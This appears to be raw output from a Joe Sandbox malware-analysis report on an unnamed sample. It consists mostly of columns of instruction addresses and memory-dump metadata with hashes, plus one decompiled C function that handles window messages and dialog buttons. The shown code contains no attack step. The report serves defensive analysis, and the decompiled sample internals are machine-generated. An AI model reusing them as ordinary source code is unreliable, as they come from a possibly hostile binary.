                                                                                                                                                                            0x0040ae5f
                                                                                                                                                                            0x0040ae62
                                                                                                                                                                            0x0040ae63
                                                                                                                                                                            0x0040ae67
                                                                                                                                                                            0x0040ae6a
                                                                                                                                                                            0x0040af86
                                                                                                                                                                            0x0040af8b
                                                                                                                                                                            0x0042ee1d
                                                                                                                                                                            0x0042ee21
                                                                                                                                                                            0x0040af91
                                                                                                                                                                            0x0040af91
                                                                                                                                                                            0x0040af91
                                                                                                                                                                            0x0040ae70
                                                                                                                                                                            0x0040ae70
                                                                                                                                                                            0x0040ae70
                                                                                                                                                                            0x0040ae72
                                                                                                                                                                            0x0040ae72
                                                                                                                                                                            0x0040ae74
                                                                                                                                                                            0x0040ae77
                                                                                                                                                                            0x0040ae7b
                                                                                                                                                                            0x0040ae7d
                                                                                                                                                                            0x0042ee2a
                                                                                                                                                                            0x0042ee2f
                                                                                                                                                                            0x0042ee33
                                                                                                                                                                            0x0042ee33
                                                                                                                                                                            0x0040ae83
                                                                                                                                                                            0x0040ae86
                                                                                                                                                                            0x0040ae89
                                                                                                                                                                            0x0042ee3f
                                                                                                                                                                            0x0042ee3f
                                                                                                                                                                            0x0042ee41
                                                                                                                                                                            0x0042ee43
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ee49
                                                                                                                                                                            0x0042ee4a
                                                                                                                                                                            0x0042ee53
                                                                                                                                                                            0x0042ee58
                                                                                                                                                                            0x0042ee5c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ae8f
                                                                                                                                                                            0x0040ae8f
                                                                                                                                                                            0x0040ae8f
                                                                                                                                                                            0x0040ae92
                                                                                                                                                                            0x0042ee64
                                                                                                                                                                            0x0042ee66
                                                                                                                                                                            0x0042ee68
                                                                                                                                                                            0x0042ee6f
                                                                                                                                                                            0x0042ee74
                                                                                                                                                                            0x0042ee74
                                                                                                                                                                            0x0040ae98
                                                                                                                                                                            0x0040ae98
                                                                                                                                                                            0x0040ae9b
                                                                                                                                                                            0x0042ee7f
                                                                                                                                                                            0x0042ee84
                                                                                                                                                                            0x0040aea1
                                                                                                                                                                            0x0040aea1
                                                                                                                                                                            0x0040aea4
                                                                                                                                                                            0x0042ee8f
                                                                                                                                                                            0x0042ee93
                                                                                                                                                                            0x0042ee9a
                                                                                                                                                                            0x0042ee9e
                                                                                                                                                                            0x0042eea3
                                                                                                                                                                            0x0042eea7
                                                                                                                                                                            0x0040aeaa
                                                                                                                                                                            0x0040aeaa
                                                                                                                                                                            0x0040aead
                                                                                                                                                                            0x0042eeaf
                                                                                                                                                                            0x0042eeb1
                                                                                                                                                                            0x0042eeb3
                                                                                                                                                                            0x0042eeba
                                                                                                                                                                            0x0042eebf
                                                                                                                                                                            0x0042eebf
                                                                                                                                                                            0x0042eeb3
                                                                                                                                                                            0x0040aead
                                                                                                                                                                            0x0040aea4
                                                                                                                                                                            0x0040ae9b
                                                                                                                                                                            0x0040aeb3
                                                                                                                                                                            0x0040aeb3
                                                                                                                                                                            0x0040aeba
                                                                                                                                                                            0x0040aebc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040aebc
                                                                                                                                                                            0x0040ae89
                                                                                                                                                                            0x0040ade9
                                                                                                                                                                            0x0040ade9
                                                                                                                                                                            0x0040adef
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040adf1
                                                                                                                                                                            0x0040adf1
                                                                                                                                                                            0x0040adf4
                                                                                                                                                                            0x0040adf6
                                                                                                                                                                            0x0042eb91
                                                                                                                                                                            0x0042eb96
                                                                                                                                                                            0x0042eb96
                                                                                                                                                                            0x0040adfc
                                                                                                                                                                            0x0040adff
                                                                                                                                                                            0x0040ae02
                                                                                                                                                                            0x0042eba2
                                                                                                                                                                            0x0042eba2
                                                                                                                                                                            0x0042eba4
                                                                                                                                                                            0x0042eba6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ebac
                                                                                                                                                                            0x0042ebad
                                                                                                                                                                            0x0042ebb6
                                                                                                                                                                            0x0042ebbb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ae08
                                                                                                                                                                            0x0040ae08
                                                                                                                                                                            0x0040ae08
                                                                                                                                                                            0x0040ae0b
                                                                                                                                                                            0x0042ebc3
                                                                                                                                                                            0x0042ebc5
                                                                                                                                                                            0x0042ebc7
                                                                                                                                                                            0x0042ebce
                                                                                                                                                                            0x0042ebce
                                                                                                                                                                            0x0040ae11
                                                                                                                                                                            0x0040ae11
                                                                                                                                                                            0x0040ae14
                                                                                                                                                                            0x0042ebda
                                                                                                                                                                            0x0040ae1a
                                                                                                                                                                            0x0040ae1a
                                                                                                                                                                            0x0040ae1d
                                                                                                                                                                            0x0042ebea
                                                                                                                                                                            0x0042ebf5
                                                                                                                                                                            0x0042ebfa
                                                                                                                                                                            0x0040ae23
                                                                                                                                                                            0x0040ae23
                                                                                                                                                                            0x0040ae26
                                                                                                                                                                            0x0042ec02
                                                                                                                                                                            0x0042ec04
                                                                                                                                                                            0x0042ec06
                                                                                                                                                                            0x0042ec0d
                                                                                                                                                                            0x0042ec0d
                                                                                                                                                                            0x0042ec06
                                                                                                                                                                            0x0040ae26
                                                                                                                                                                            0x0040ae1d
                                                                                                                                                                            0x0040ae14
                                                                                                                                                                            0x0040ae2c
                                                                                                                                                                            0x0040ae2c
                                                                                                                                                                            0x0040ae33
                                                                                                                                                                            0x0040ae39
                                                                                                                                                                            0x0040ae3e
                                                                                                                                                                            0x0040ae41
                                                                                                                                                                            0x0040ae46
                                                                                                                                                                            0x0040ae49
                                                                                                                                                                            0x0042ec17
                                                                                                                                                                            0x0042ec17
                                                                                                                                                                            0x0042ec18
                                                                                                                                                                            0x0042ec1b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ec21
                                                                                                                                                                            0x0042ec21
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ec28
                                                                                                                                                                            0x0042ec2e
                                                                                                                                                                            0x0042ec30
                                                                                                                                                                            0x0042ec36
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ec3e
                                                                                                                                                                            0x0042ec3e
                                                                                                                                                                            0x0042ec44
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ec4b
                                                                                                                                                                            0x0042ec4b
                                                                                                                                                                            0x0042ec4d
                                                                                                                                                                            0x0042ec52
                                                                                                                                                                            0x0042ec55
                                                                                                                                                                            0x0042ec57
                                                                                                                                                                            0x0042ec83
                                                                                                                                                                            0x0042ec85
                                                                                                                                                                            0x0042ec5d
                                                                                                                                                                            0x0042ec5d
                                                                                                                                                                            0x0042ec63
                                                                                                                                                                            0x0042ec65
                                                                                                                                                                            0x0042ec67
                                                                                                                                                                            0x0042ec6a
                                                                                                                                                                            0x0042ec6d
                                                                                                                                                                            0x0042ec70
                                                                                                                                                                            0x0042ec73
                                                                                                                                                                            0x0042ec76
                                                                                                                                                                            0x0042ec79
                                                                                                                                                                            0x0042ec7b
                                                                                                                                                                            0x0042ec7b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042eca6
                                                                                                                                                                            0x0042eca6
                                                                                                                                                                            0x0042ecab
                                                                                                                                                                            0x0042ecb0
                                                                                                                                                                            0x0042ecb3
                                                                                                                                                                            0x0042ecb5
                                                                                                                                                                            0x0042ecda
                                                                                                                                                                            0x0042ecda
                                                                                                                                                                            0x0042ecbb
                                                                                                                                                                            0x0042ecbb
                                                                                                                                                                            0x0042ecc1
                                                                                                                                                                            0x0042ecc5
                                                                                                                                                                            0x0042ecca
                                                                                                                                                                            0x0042eccc
                                                                                                                                                                            0x0042eccc
                                                                                                                                                                            0x0042eccc
                                                                                                                                                                            0x0042ecce
                                                                                                                                                                            0x0042ecd2
                                                                                                                                                                            0x0042ecd2
                                                                                                                                                                            0x0042ecdc
                                                                                                                                                                            0x0042ecde
                                                                                                                                                                            0x0042ece2
                                                                                                                                                                            0x0042ece8
                                                                                                                                                                            0x0042eceb
                                                                                                                                                                            0x0042eceb
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ec8d
                                                                                                                                                                            0x0042ec8d
                                                                                                                                                                            0x0042ec92
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ec99
                                                                                                                                                                            0x0042ec99
                                                                                                                                                                            0x0042ec9f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ecf2
                                                                                                                                                                            0x0042ecf2
                                                                                                                                                                            0x0042ecf9
                                                                                                                                                                            0x0042ecff
                                                                                                                                                                            0x0042ed01
                                                                                                                                                                            0x0042ed06
                                                                                                                                                                            0x0042ed09
                                                                                                                                                                            0x0042ed0a
                                                                                                                                                                            0x0042ed0c
                                                                                                                                                                            0x0042ed12
                                                                                                                                                                            0x0042ed18
                                                                                                                                                                            0x0042ed1a
                                                                                                                                                                            0x0042ed1b
                                                                                                                                                                            0x0042ed1c
                                                                                                                                                                            0x0042ed22
                                                                                                                                                                            0x0042ed24
                                                                                                                                                                            0x0042ed2a
                                                                                                                                                                            0x0042ed2c
                                                                                                                                                                            0x0042ed2d
                                                                                                                                                                            0x0042ed33
                                                                                                                                                                            0x0042ed36
                                                                                                                                                                            0x0042ed3e
                                                                                                                                                                            0x0042ed3e
                                                                                                                                                                            0x0042ed24
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ed49
                                                                                                                                                                            0x0042ed49
                                                                                                                                                                            0x0042ed4e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ed55
                                                                                                                                                                            0x0042ed55
                                                                                                                                                                            0x0042ed57
                                                                                                                                                                            0x0042ed5c
                                                                                                                                                                            0x0042ed5f
                                                                                                                                                                            0x0042ed61
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ed67
                                                                                                                                                                            0x0042ed67
                                                                                                                                                                            0x0042ed6f
                                                                                                                                                                            0x0042ed74
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ed84
                                                                                                                                                                            0x0042ed84
                                                                                                                                                                            0x0042ed86
                                                                                                                                                                            0x0042ed8b
                                                                                                                                                                            0x0042ed8d
                                                                                                                                                                            0x0042ed93
                                                                                                                                                                            0x0042ed95
                                                                                                                                                                            0x0042ed97
                                                                                                                                                                            0x0042ed99
                                                                                                                                                                            0x0042ed9b
                                                                                                                                                                            0x0042ed9e
                                                                                                                                                                            0x0042eda0
                                                                                                                                                                            0x0042edd4
                                                                                                                                                                            0x0042edd6
                                                                                                                                                                            0x0042eddb
                                                                                                                                                                            0x0042eddd
                                                                                                                                                                            0x0042ede0
                                                                                                                                                                            0x0042ede2
                                                                                                                                                                            0x0042ede5
                                                                                                                                                                            0x0042ede8
                                                                                                                                                                            0x0042eda6
                                                                                                                                                                            0x0042eda6
                                                                                                                                                                            0x0042eda7
                                                                                                                                                                            0x0042edac
                                                                                                                                                                            0x0042edae
                                                                                                                                                                            0x0042edb1
                                                                                                                                                                            0x0042edb3
                                                                                                                                                                            0x0042edb5
                                                                                                                                                                            0x0042edbb
                                                                                                                                                                            0x0042edbe
                                                                                                                                                                            0x0042edc2
                                                                                                                                                                            0x0042edc7
                                                                                                                                                                            0x0042edcc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042edf0
                                                                                                                                                                            0x0042edf0
                                                                                                                                                                            0x0042edf2
                                                                                                                                                                            0x0042edf7
                                                                                                                                                                            0x0042edfa
                                                                                                                                                                            0x0042edfc
                                                                                                                                                                            0x0042ed7b
                                                                                                                                                                            0x0042ed7b
                                                                                                                                                                            0x0042ed7d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ed7d
                                                                                                                                                                            0x0042ee02
                                                                                                                                                                            0x0042ee02
                                                                                                                                                                            0x0042ee08
                                                                                                                                                                            0x0042ee09
                                                                                                                                                                            0x0042ee0a
                                                                                                                                                                            0x0042ee0f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ec21
                                                                                                                                                                            0x0040ae4f
                                                                                                                                                                            0x0040ae4f
                                                                                                                                                                            0x0040ae55
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ae55
                                                                                                                                                                            0x0040ae02
                                                                                                                                                                            0x0040ac10
                                                                                                                                                                            0x0040ac10
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ac10
                                                                                                                                                                            0x0042f176
                                                                                                                                                                            0x0042f176
                                                                                                                                                                            0x0042f178
                                                                                                                                                                            0x0042f17a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042f180
                                                                                                                                                                            0x0042f181
                                                                                                                                                                            0x0042f18b
                                                                                                                                                                            0x0042f18e
                                                                                                                                                                            0x0042f193
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ac98
                                                                                                                                                                            0x0040ac98
                                                                                                                                                                            0x0040ac98
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0040ad07
                                                                                                                                                                            0x0042ef59
                                                                                                                                                                            0x0042ef59
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ef60
                                                                                                                                                                            0x0042ef60
                                                                                                                                                                            0x0042ef65
                                                                                                                                                                            0x0042ef67
                                                                                                                                                                            0x0042ef6d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ef75
                                                                                                                                                                            0x0042ef75
                                                                                                                                                                            0x0042ef76
                                                                                                                                                                            0x0042ef7b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ef82
                                                                                                                                                                            0x0042ef82
                                                                                                                                                                            0x0042ef84
                                                                                                                                                                            0x0042ef89
                                                                                                                                                                            0x0042ef8c
                                                                                                                                                                            0x0042ef8e
                                                                                                                                                                            0x0042efba
                                                                                                                                                                            0x0042efbc
                                                                                                                                                                            0x0042ef94
                                                                                                                                                                            0x0042ef94
                                                                                                                                                                            0x0042ef9a
                                                                                                                                                                            0x0042ef9c
                                                                                                                                                                            0x0042ef9e
                                                                                                                                                                            0x0042efa1
                                                                                                                                                                            0x0042efa4
                                                                                                                                                                            0x0042efa7
                                                                                                                                                                            0x0042efaa
                                                                                                                                                                            0x0042efad
                                                                                                                                                                            0x0042efb0
                                                                                                                                                                            0x0042efb2
                                                                                                                                                                            0x0042efb2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042efdd
                                                                                                                                                                            0x0042efdd
                                                                                                                                                                            0x0042efe2
                                                                                                                                                                            0x0042efe7
                                                                                                                                                                            0x0042efea
                                                                                                                                                                            0x0042efec
                                                                                                                                                                            0x0042f011
                                                                                                                                                                            0x0042f011
                                                                                                                                                                            0x0042eff2
                                                                                                                                                                            0x0042eff2
                                                                                                                                                                            0x0042eff8
                                                                                                                                                                            0x0042effc
                                                                                                                                                                            0x0042f001
                                                                                                                                                                            0x0042f003
                                                                                                                                                                            0x0042f003
                                                                                                                                                                            0x0042f003
                                                                                                                                                                            0x0042f005
                                                                                                                                                                            0x0042f009
                                                                                                                                                                            0x0042f009
                                                                                                                                                                            0x0042f013
                                                                                                                                                                            0x0042f015
                                                                                                                                                                            0x0042f019
                                                                                                                                                                            0x0042f01f
                                                                                                                                                                            0x0042f022
                                                                                                                                                                            0x0042f022
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042efc4
                                                                                                                                                                            0x0042efc4
                                                                                                                                                                            0x0042efc9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042efd0
                                                                                                                                                                            0x0042efd0
                                                                                                                                                                            0x0042efd6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042f029
                                                                                                                                                                            0x0042f029
                                                                                                                                                                            0x0042f02a
                                                                                                                                                                            0x0042f02f
                                                                                                                                                                            0x0042f031
                                                                                                                                                                            0x0042f033
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042f080
                                                                                                                                                                            0x0042f080
                                                                                                                                                                            0x0042f085
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042f08c
                                                                                                                                                                            0x0042f08c
                                                                                                                                                                            0x0042f08e
                                                                                                                                                                            0x0042f093
                                                                                                                                                                            0x0042f096
                                                                                                                                                                            0x0042f098
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042f09e
                                                                                                                                                                            0x0042f09e
                                                                                                                                                                            0x0042f0a6
                                                                                                                                                                            0x0042f0ab
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042f0bb
                                                                                                                                                                            0x0042f0bb
                                                                                                                                                                            0x0042f0bd
                                                                                                                                                                            0x0042f0c2
                                                                                                                                                                            0x0042f0c4
                                                                                                                                                                            0x0042f0ca
                                                                                                                                                                            0x0042f0cc
                                                                                                                                                                            0x0042f0ce
                                                                                                                                                                            0x0042f0d0
                                                                                                                                                                            0x0042f0d2
                                                                                                                                                                            0x0042f0d5
                                                                                                                                                                            0x0042f0d7
                                                                                                                                                                            0x0042f10b
                                                                                                                                                                            0x0042f10d
                                                                                                                                                                            0x0042f112
                                                                                                                                                                            0x0042f114
                                                                                                                                                                            0x0042f117
                                                                                                                                                                            0x0042f119
                                                                                                                                                                            0x0042f11c
                                                                                                                                                                            0x0042f11f
                                                                                                                                                                            0x0042f0dd
                                                                                                                                                                            0x0042f0dd
                                                                                                                                                                            0x0042f0de
                                                                                                                                                                            0x0042f0e3
                                                                                                                                                                            0x0042f0e5
                                                                                                                                                                            0x0042f0e8
                                                                                                                                                                            0x0042f0ea
                                                                                                                                                                            0x0042f0ec
                                                                                                                                                                            0x0042f0f2
                                                                                                                                                                            0x0042f0f5
                                                                                                                                                                            0x0042f0f9
                                                                                                                                                                            0x0042f0fe
                                                                                                                                                                            0x0042f103
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042f127
                                                                                                                                                                            0x0042f127
                                                                                                                                                                            0x0042f129
                                                                                                                                                                            0x0042f12e
                                                                                                                                                                            0x0042f131
                                                                                                                                                                            0x0042f133
                                                                                                                                                                            0x0042f0b2
                                                                                                                                                                            0x0042f0b2
                                                                                                                                                                            0x0042f0b4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042f0b4
                                                                                                                                                                            0x0042f139
                                                                                                                                                                            0x0042f139
                                                                                                                                                                            0x0042f13f
                                                                                                                                                                            0x0042f140
                                                                                                                                                                            0x0042f141
                                                                                                                                                                            0x0042f146
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042ef59
                                                                                                                                                                            0x0040acff
                                                                                                                                                                            0x0040acff
                                                                                                                                                                            0x0040ad05
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042eeda
                                                                                                                                                                            0x0042eeda
                                                                                                                                                                            0x0042eedc
                                                                                                                                                                            0x0042eede
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042eee4
                                                                                                                                                                            0x0042eee5
                                                                                                                                                                            0x0042eeee
                                                                                                                                                                            0x0042eef3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042eef3

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ClearVariant
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1473721057-0
                                                                                                                                                                            • Opcode ID: e4e3d1e9d76afbd554f8ccc3ea821a32350bcc2a84f537a5383fdc4aa6bf2d05
                                                                                                                                                                            • Instruction ID: 4e1e522645e86f73b8885f2d86dba7d443b77ce6b8f7ad4508257b27d10f8221
                                                                                                                                                                            • Opcode Fuzzy Hash: e4e3d1e9d76afbd554f8ccc3ea821a32350bcc2a84f537a5383fdc4aa6bf2d05
                                                                                                                                                                            • Instruction Fuzzy Hash: 3DD18D746003018FD724DF25D484A26B7E1EF49704F64887EE9899B3A1D739EC92CB9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00461F2E Relevance: 6.2, APIs: 4, Instructions: 210COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 64%
                                                                                                                                                                            			E00461F2E(void* __eflags, int _a4, struct HWND__* _a8) {
				struct HWND__* _v0;
				signed int _v4;
				signed int _v8;
				char _v9;
				intOrPtr _v10;
				signed char _v21;
				char _v22;
				char _v30;
				void* _t56;
				intOrPtr _t58;
				struct HWND__* _t59;
				signed char _t62;
				signed int _t64;
				struct HWND__* _t66;
				struct HWND__* _t71;
				signed int _t74;
				intOrPtr _t76;
				intOrPtr _t79;
				struct HWND__* _t81;
				intOrPtr _t89;
				intOrPtr* _t94;
				intOrPtr _t98;
				intOrPtr _t102;

				_t56 = E0044213B(0x4a83d8, _a4,  &_v4,  &_v8);
				if(_t56 != 0) {
					_t79 =  *0x4a8438; // 0x0
					_t58 =  *0x4a844c; // 0x2f019d0
					_t74 = _v8;
					_t98 =  *((intOrPtr*)( *((intOrPtr*)(_t79 + _v4 * 4))));
					_t94 =  *((intOrPtr*)( *((intOrPtr*)(_t58 + _t74 * 4))));
					_t81 = _a8;
					_t11 = _t94 + 0x88; // 0x0
					_t59 =  *_t11;
					_v9 = _t59;
					if(_t81 != 6) {
						if(_t81 != 4) {
							if(_t81 != 3) {
								if(_t81 == 0x100) {
									if(_t59 == 2) {
										goto L14;
									} else {
										if(_t59 == 3) {
											goto L14;
										}
									}
								}
							} else {
								if(_t59 == 0) {
									goto L14;
								} else {
								}
							}
						} else {
							if(_t59 == 1) {
								goto L14;
							} else {
							}
						}
					} else {
						if(_t59 == 0x18) {
							L14:
							_t71 =  *(_t98 + 0x1c0);
							 *(_t98 + 0x1c) = _t74;
							if(_t71 != 0) {
								E00437FC7(_t71, _t94);
							}
						} else {
						}
					}
					if( *((char*)(_t98 + 0x38)) == 0) {
						L19:
						return 0;
					} else {
						_t89 =  *0x4a844c; // 0x2f019d0
						_t62 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t89 + _t74 * 4)))) + 0x8b));
						if(_t62 == 0xff) {
							L20:
							E00456354(0x4a83d8, _t98, 0);
							_t64 = _v21 & 0x000000ff;
							_t102 =  *((intOrPtr*)(_t98 + 0x168));
							_t76 =  *((intOrPtr*)(_t98 + 0x16c));
							_v22 = 0;
							if(_t64 <= 0x1c) {
								switch( *((intOrPtr*)(( *(_t64 + 0x4621e2) & 0x000000ff) * 4 +  &M004621BE))) {
									case 0:
										__eflags = _a8 - 1;
										if(_a8 == 1) {
											__eax =  *__edi;
											_push(__ebx);
											_push(__ebp);
											_push( *__edi);
											_push(__esi);
											_push(_a4);
											goto L46;
										}
										goto L47;
									case 1:
										__eflags = _a8 - 1;
										goto L23;
									case 2:
										__eax = _a8;
										__eflags = __eax;
										if(__eax == 0) {
											goto L45;
										} else {
											__eflags = __eax - 0x300;
											if(__eax != 0x300) {
												__eflags = __eax - 0x200;
												if(__eax == 0x200) {
													__eflags = __edi[0x22] - 2;
													if(__edi[0x22] == 2) {
														 &(__esi[0x6d]) = SendMessageW( *__edi, 0xb0,  &(__esi[0x6c]),  &(__esi[0x6d]));
													}
													__eax = __esi[0x6e];
													__eflags = __eax;
													if(__eax > 0) {
														__eflags = __eax - _a4;
														if(__eax == _a4) {
															_push(__ebx);
															_push(__ebp);
															__esi[0x6e] = 0;
															_push( *__edi);
															_push(__esi);
															_push(__eax);
															__eax = E00451B1D();
														}
													}
												}
											} else {
												__eax = __esi[0x6e];
												__eflags = __eax;
												if(__eax > 0) {
													__eflags = __eax - _a4;
													if(__eax != _a4) {
														_push(__ebx);
														_push(__ebp);
														__esi[0x6e] = 0;
														_push( *__edi);
														_push(__esi);
														_push(__eax);
														__eax = E00451B1D();
													}
												}
												__esi[0x6e] = _a4;
											}
										}
										goto L47;
									case 3:
										__eax =  *__edi;
										_push(0xffffffec);
										_push( *__edi);
										__eax =  *0x482718();
										__eflags = __eax & 0x00100000;
										if((__eax & 0x00100000) != 0) {
											__eax = SendMessageW( *__esi, 0xa1, 2, 0);
										}
										goto L42;
									case 4:
										L45:
										__eax = _a4;
										_push(__ebx);
										_push(__ebp);
										_push( *__edi);
										_push(__esi);
										_push(_a4);
										goto L46;
									case 5:
										L42:
										__eflags = _v0;
										if(_v0 == 0) {
											goto L45;
										}
										goto L47;
									case 6:
										_push(_a8);
										_push(__esi);
										_push(0x4a83d8);
										__eax = E00441077();
										goto L45;
									case 7:
										__eax =  *__esi;
										__eflags = IsDlgButtonChecked( *__esi, _a4) - 1;
										L23:
										if(__eflags == 0) {
											_push(_t76);
											_push(_t102);
											_push( *_t94);
											_push(_t98);
											_push(_a4);
											L46:
											E00451B1D();
											_v30 = 1;
										}
										goto L47;
									case 8:
										goto L47;
								}
							}
							L47:
							_t66 =  *( *((intOrPtr*)( *((intOrPtr*)( *0x4a844c + _v8 * 4)))) + 0x4c);
							if(_t66 != 0) {
								SendMessageW(_t66, 0x41c, 0, 0);
							}
							return _v10;
						} else {
							if((_t62 & 0x000000ff) ==  *((intOrPtr*)(_t98 + 0x184))) {
								goto L20;
							} else {
								goto L19;
							}
						}
					}
				} else {
					return _t56;
				}
			}


























                                                                                                                                                                            0x00461f45
                                                                                                                                                                            0x00461f4c
                                                                                                                                                                            0x00461f58
                                                                                                                                                                            0x00461f61
                                                                                                                                                                            0x00461f67
                                                                                                                                                                            0x00461f6f
                                                                                                                                                                            0x00461f72
                                                                                                                                                                            0x00461f74
                                                                                                                                                                            0x00461f78
                                                                                                                                                                            0x00461f78
                                                                                                                                                                            0x00461f7e
                                                                                                                                                                            0x00461f85
                                                                                                                                                                            0x00461f90
                                                                                                                                                                            0x00461f9b
                                                                                                                                                                            0x00461fa9
                                                                                                                                                                            0x00461fad
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00461faf
                                                                                                                                                                            0x00461fb1
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00461fb1
                                                                                                                                                                            0x00461fad
                                                                                                                                                                            0x00461f9d
                                                                                                                                                                            0x00461f9f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00461fa1
                                                                                                                                                                            0x00461f9f
                                                                                                                                                                            0x00461f92
                                                                                                                                                                            0x00461f94
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00461f96
                                                                                                                                                                            0x00461f94
                                                                                                                                                                            0x00461f87
                                                                                                                                                                            0x00461f89
                                                                                                                                                                            0x00461fb3
                                                                                                                                                                            0x00461fb3
                                                                                                                                                                            0x00461fb9
                                                                                                                                                                            0x00461fbe
                                                                                                                                                                            0x00461fc2
                                                                                                                                                                            0x00461fc2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00461f8b
                                                                                                                                                                            0x00461f89
                                                                                                                                                                            0x00461fcb
                                                                                                                                                                            0x00461fed
                                                                                                                                                                            0x00461ff5
                                                                                                                                                                            0x00461fcd
                                                                                                                                                                            0x00461fcd
                                                                                                                                                                            0x00461fd8
                                                                                                                                                                            0x00461fe0
                                                                                                                                                                            0x00461ff8
                                                                                                                                                                            0x00462001
                                                                                                                                                                            0x00462006
                                                                                                                                                                            0x0046200b
                                                                                                                                                                            0x00462011
                                                                                                                                                                            0x00462017
                                                                                                                                                                            0x0046201f
                                                                                                                                                                            0x0046202c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046204e
                                                                                                                                                                            0x00462053
                                                                                                                                                                            0x00462059
                                                                                                                                                                            0x0046205f
                                                                                                                                                                            0x00462060
                                                                                                                                                                            0x00462061
                                                                                                                                                                            0x00462062
                                                                                                                                                                            0x00462063
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00462063
